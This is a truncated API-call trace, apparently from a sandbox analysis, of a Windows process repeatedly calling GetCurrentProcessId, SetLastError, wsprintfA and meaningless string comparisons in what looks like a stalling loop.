[0031.668] SetLastError (dwErrCode=0x57) [0031.668] GetCurrentProcessId () returned 0xb44 [0031.669] GetLastError () returned 0x57 [0031.669] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2A04P") returned 5 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] lstrlenA (lpString="just string") returned 11 [0031.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.669] GetLastError () returned 0x57 [0031.669] GetCurrentProcess () returned 0xffffffff [0031.669] GetLastError () returned 0x57 [0031.669] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2A21P") returned 5 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetLastError () returned 0x57 [0031.669] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2A22P") returned 5 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] lstrlenA (lpString="just string") returned 11 [0031.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.669] GetLastError () returned 0x57 [0031.669] GetCurrentProcess () returned 0xffffffff [0031.669] GetLastError () returned 0x57 [0031.669] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2A85P") returned 5 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetLastError () returned 0x57 [0031.669] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2A86P") returned 5 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] lstrlenA (lpString="just string") returned 11 [0031.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.669] GetLastError () returned 0x57 [0031.669] GetLastError () returned 0x57 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] lstrlenA (lpString="just string") returned 11 [0031.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.669] GetLastError () returned 0x57 [0031.669] GetLastError () returned 0x57 [0031.669] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcess () returned 0xffffffff [0031.669] GetLastError () returned 0x57 [0031.669] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2AE8P") returned 5 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcess () returned 0xffffffff [0031.669] GetLastError () returned 0x57 [0031.669] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2AE9P") returned 5 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetLastError () returned 0x57 [0031.669] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2AEAP") returned 5 [0031.669] SetLastError (dwErrCode=0x57) [0031.669] GetCurrentProcessId () returned 0xb44 [0031.669] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] lstrlenA (lpString="just string") returned 11 [0031.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.670] GetLastError () returned 0x57 [0031.670] GetLastError () returned 0x57 [0031.670] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcess () returned 0xffffffff [0031.670] GetLastError () returned 0x57 [0031.670] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2AFCP") returned 5 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcess () returned 0xffffffff [0031.670] GetLastError () returned 0x57 [0031.670] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2AFDP") returned 5 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetLastError () returned 0x57 [0031.670] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2AFEP") returned 5 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] lstrlenA (lpString="just string") returned 11 [0031.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.670] GetLastError () returned 0x57 [0031.670] GetLastError () returned 0x57 [0031.670] GetLastError () returned 0x57 [0031.670] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2B3AP") returned 5 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] lstrlenA (lpString="just string") returned 11 [0031.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.670] GetLastError () returned 0x57 [0031.670] GetLastError () returned 0x57 [0031.670] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcess () returned 0xffffffff [0031.670] GetLastError () returned 0x57 [0031.670] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2B4CP") returned 5 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcess () returned 0xffffffff [0031.670] GetLastError () returned 0x57 [0031.670] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2B4DP") returned 5 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetLastError () returned 0x57 [0031.670] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2B4EP") returned 5 [0031.670] SetLastError (dwErrCode=0x57) [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] GetCurrentProcessId () returned 0xb44 [0031.670] lstrlenA (lpString="just string") returned 11 [0031.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.671] GetLastError () returned 0x57 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] lstrlenA (lpString="just string") returned 11 [0031.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.671] GetLastError () returned 0x57 [0031.671] GetLastError () returned 0x57 [0031.671] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2B94P") returned 5 [0031.671] SetLastError (dwErrCode=0x57) [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] lstrlenA (lpString="just string") returned 11 [0031.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.671] GetLastError () returned 0x57 [0031.671] GetLastError () returned 0x57 [0031.671] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.671] SetLastError (dwErrCode=0x57) [0031.671] GetCurrentProcess () returned 0xffffffff [0031.671] GetLastError () returned 0x57 [0031.671] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2BC4P") returned 5 [0031.671] SetLastError (dwErrCode=0x57) [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcess () returned 0xffffffff [0031.671] GetLastError () returned 0x57 [0031.671] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2BC5P") returned 5 [0031.671] SetLastError (dwErrCode=0x57) [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetLastError () returned 0x57 [0031.671] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2BC6P") returned 5 [0031.671] SetLastError (dwErrCode=0x57) [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] lstrlenA (lpString="just string") returned 11 [0031.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.671] GetLastError () returned 0x57 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] lstrlenA (lpString="just string") returned 11 [0031.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.671] GetLastError () returned 0x57 [0031.671] GetLastError () returned 0x57 [0031.671] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2C20P") returned 5 [0031.671] SetLastError (dwErrCode=0x57) [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] GetCurrentProcessId () returned 0xb44 [0031.671] lstrlenA (lpString="just string") returned 11 [0031.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.671] GetLastError () returned 0x57 [0031.671] GetLastError () returned 0x57 [0031.671] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.671] SetLastError (dwErrCode=0x57) [0031.671] GetCurrentProcess () returned 0xffffffff [0031.672] GetLastError () returned 0x57 [0031.672] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2C6EP") returned 5 [0031.672] SetLastError (dwErrCode=0x57) [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcess () returned 0xffffffff [0031.672] GetLastError () returned 0x57 [0031.672] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2C6FP") returned 5 [0031.672] SetLastError (dwErrCode=0x57) [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetLastError () returned 0x57 [0031.672] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2C70P") returned 5 [0031.672] SetLastError (dwErrCode=0x57) [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] lstrlenA (lpString="just string") returned 11 [0031.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.672] GetLastError () returned 0x57 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] lstrlenA (lpString="just string") returned 11 [0031.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.672] GetLastError () returned 0x57 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] lstrlenA (lpString="just string") returned 11 [0031.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.672] GetLastError () returned 0x57 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] lstrlenA (lpString="just string") returned 11 [0031.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.672] GetLastError () returned 0x57 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] lstrlenA (lpString="just string") returned 11 [0031.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.672] GetLastError () returned 0x57 [0031.672] GetLastError () returned 0x57 [0031.672] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.672] SetLastError (dwErrCode=0x57) [0031.672] GetCurrentProcess () returned 0xffffffff [0031.672] GetLastError () returned 0x57 [0031.672] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2D54P") returned 5 [0031.672] SetLastError (dwErrCode=0x57) [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcess () returned 0xffffffff [0031.672] GetLastError () returned 0x57 [0031.672] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2D55P") returned 5 [0031.672] SetLastError (dwErrCode=0x57) [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetLastError () returned 0x57 [0031.672] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2D56P") returned 5 [0031.672] SetLastError (dwErrCode=0x57) [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] lstrlenA (lpString="just string") returned 11 [0031.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.672] GetLastError () returned 0x57 [0031.672] GetCurrentProcessId () returned 0xb44 [0031.672] lstrlenA (lpString="just string") returned 11 [0031.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.673] GetLastError () returned 0x57 [0031.673] GetLastError () returned 0x57 [0031.673] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcess () returned 0xffffffff [0031.673] GetLastError () returned 0x57 [0031.673] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2DAEP") returned 5 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcess () returned 0xffffffff [0031.673] GetLastError () returned 0x57 [0031.673] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2DAFP") returned 5 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetLastError () returned 0x57 [0031.673] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2DB0P") returned 5 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] lstrlenA (lpString="just string") returned 11 [0031.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.673] GetLastError () returned 0x57 [0031.673] GetLastError () returned 0x57 [0031.673] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcess () returned 0xffffffff [0031.673] GetLastError () returned 0x57 [0031.673] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2DFEP") returned 5 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcess () returned 0xffffffff [0031.673] GetLastError () returned 0x57 [0031.673] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2DFFP") returned 5 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetLastError () returned 0x57 [0031.673] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2E00P") returned 5 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] lstrlenA (lpString="just string") returned 11 [0031.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.673] GetLastError () returned 0x57 [0031.673] GetLastError () returned 0x57 [0031.673] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2E1EP") returned 5 [0031.673] SetLastError (dwErrCode=0x57) [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] GetCurrentProcessId () returned 0xb44 [0031.673] lstrlenA (lpString="just string") returned 11 [0031.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.673] GetLastError () returned 0x57 [0031.673] GetLastError () returned 0x57 [0031.673] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2E3CP") returned 5 [0031.674] SetLastError (dwErrCode=0x57) [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] lstrlenA (lpString="just string") returned 11 [0031.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.674] GetLastError () returned 0x57 [0031.674] GetLastError () returned 0x57 [0031.674] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.674] SetLastError (dwErrCode=0x57) [0031.674] GetCurrentProcess () returned 0xffffffff [0031.674] GetLastError () returned 0x57 [0031.674] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2E4EP") returned 5 [0031.674] SetLastError (dwErrCode=0x57) [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcess () returned 0xffffffff [0031.674] GetLastError () returned 0x57 [0031.674] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2E4FP") returned 5 [0031.674] SetLastError (dwErrCode=0x57) [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetLastError () returned 0x57 [0031.674] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2E50P") returned 5 [0031.674] SetLastError (dwErrCode=0x57) [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] lstrlenA (lpString="just string") returned 11 [0031.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.674] GetLastError () returned 0x57 [0031.674] lstrlenA (lpString="just string") returned 11 [0031.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.674] GetLastError () returned 0x57 [0031.674] GetLastError () returned 0x57 [0031.674] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2E78P") returned 5 [0031.674] SetLastError (dwErrCode=0x57) [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] lstrlenA (lpString="just string") returned 11 [0031.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.674] GetLastError () returned 0x57 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] lstrlenA (lpString="just string") returned 11 [0031.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.674] GetLastError () returned 0x57 [0031.674] GetCurrentProcess () returned 0xffffffff [0031.674] GetLastError () returned 0x57 [0031.674] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2ED1P") returned 5 [0031.674] SetLastError (dwErrCode=0x57) [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetLastError () returned 0x57 [0031.674] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2ED2P") returned 5 [0031.674] SetLastError (dwErrCode=0x57) [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] GetCurrentProcessId () returned 0xb44 [0031.674] lstrlenA (lpString="just string") returned 11 [0031.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.675] GetLastError () returned 0x57 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] lstrlenA (lpString="just string") returned 11 [0031.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.675] GetLastError () returned 0x57 [0031.675] GetLastError () returned 0x57 [0031.675] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.675] SetLastError (dwErrCode=0x57) [0031.675] GetCurrentProcess () returned 0xffffffff [0031.675] GetLastError () returned 0x57 [0031.675] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2F0CP") returned 5 [0031.675] SetLastError (dwErrCode=0x57) [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcess () returned 0xffffffff [0031.675] GetLastError () returned 0x57 [0031.675] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2F0DP") returned 5 [0031.675] SetLastError (dwErrCode=0x57) [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetLastError () returned 0x57 [0031.675] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2F0EP") returned 5 [0031.675] SetLastError (dwErrCode=0x57) [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] lstrlenA (lpString="just string") returned 11 [0031.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.675] GetLastError () returned 0x57 [0031.675] GetLastError () returned 0x57 [0031.675] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2F2CP") returned 5 [0031.675] SetLastError (dwErrCode=0x57) [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] lstrlenA (lpString="just string") returned 11 [0031.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.675] GetLastError () returned 0x57 [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] lstrlenA (lpString="just string") returned 11 [0031.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.675] GetLastError () returned 0x57 [0031.675] GetLastError () returned 0x57 [0031.675] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.675] SetLastError (dwErrCode=0x57) [0031.675] GetCurrentProcess () returned 0xffffffff [0031.675] GetLastError () returned 0x57 [0031.675] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2F70P") returned 5 [0031.675] SetLastError (dwErrCode=0x57) [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetCurrentProcess () returned 0xffffffff [0031.675] GetLastError () returned 0x57 [0031.675] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2F71P") returned 5 [0031.675] SetLastError (dwErrCode=0x57) [0031.675] GetCurrentProcessId () returned 0xb44 [0031.675] GetLastError () returned 0x57 [0031.675] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2F72P") returned 5 [0031.676] SetLastError (dwErrCode=0x57) [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] lstrlenA (lpString="just string") returned 11 [0031.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.676] GetLastError () returned 0x57 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] lstrlenA (lpString="just string") returned 11 [0031.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.676] GetLastError () returned 0x57 [0031.676] GetLastError () returned 0x57 [0031.676] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2FC2P") returned 5 [0031.676] SetLastError (dwErrCode=0x57) [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] lstrlenA (lpString="just string") returned 11 [0031.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.676] GetLastError () returned 0x57 [0031.676] GetCurrentProcess () returned 0xffffffff [0031.676] GetLastError () returned 0x57 [0031.676] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2FFDP") returned 5 [0031.676] SetLastError (dwErrCode=0x57) [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetLastError () returned 0x57 [0031.676] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="2FFEP") returned 5 [0031.676] SetLastError (dwErrCode=0x57) [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] lstrlenA (lpString="just string") returned 11 [0031.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.676] GetLastError () returned 0x57 [0031.676] lstrlenA (lpString="just string") returned 11 [0031.676] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.676] GetLastError () returned 0x57 [0031.676] GetLastError () returned 0x57 [0031.676] GetLastError () returned 0x57 [0031.676] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.676] SetLastError (dwErrCode=0x57) [0031.676] GetCurrentProcess () returned 0xffffffff [0031.676] GetLastError () returned 0x57 [0031.676] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3056P") returned 5 [0031.676] SetLastError (dwErrCode=0x57) [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcess () returned 0xffffffff [0031.676] GetLastError () returned 0x57 [0031.676] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3057P") returned 5 [0031.676] SetLastError (dwErrCode=0x57) [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetLastError () returned 0x57 [0031.676] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3058P") returned 5 [0031.676] SetLastError (dwErrCode=0x57) [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] GetCurrentProcessId () returned 0xb44 [0031.676] lstrlenA (lpString="just string") returned 11 [0031.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.677] GetLastError () returned 0x57 [0031.677] GetLastError () returned 0x57 [0031.677] GetLastError () returned 0x57 [0031.677] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.677] SetLastError (dwErrCode=0x57) [0031.677] GetCurrentProcess () returned 0xffffffff [0031.677] GetLastError () returned 0x57 [0031.677] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="30B0P") returned 5 [0031.677] SetLastError (dwErrCode=0x57) [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcess () returned 0xffffffff [0031.677] GetLastError () returned 0x57 [0031.677] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="30B1P") returned 5 [0031.677] SetLastError (dwErrCode=0x57) [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetLastError () returned 0x57 [0031.677] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="30B2P") returned 5 [0031.677] SetLastError (dwErrCode=0x57) [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] lstrlenA (lpString="just string") returned 11 [0031.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.677] GetLastError () returned 0x57 [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] lstrlenA (lpString="just string") returned 11 [0031.677] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.677] GetLastError () returned 0x57 [0031.677] GetLastError () returned 0x57 [0031.677] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.677] SetLastError (dwErrCode=0x57) [0031.677] GetCurrentProcess () returned 0xffffffff [0031.677] GetLastError () returned 0x57 [0031.677] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3114P") returned 5 [0031.677] SetLastError (dwErrCode=0x57) [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcess () returned 0xffffffff [0031.677] GetLastError () returned 0x57 [0031.677] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3115P") returned 5 [0031.677] SetLastError (dwErrCode=0x57) [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetLastError () returned 0x57 [0031.677] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3116P") returned 5 [0031.677] SetLastError (dwErrCode=0x57) [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcessId () returned 0xb44 [0031.677] GetCurrentProcessId () returned 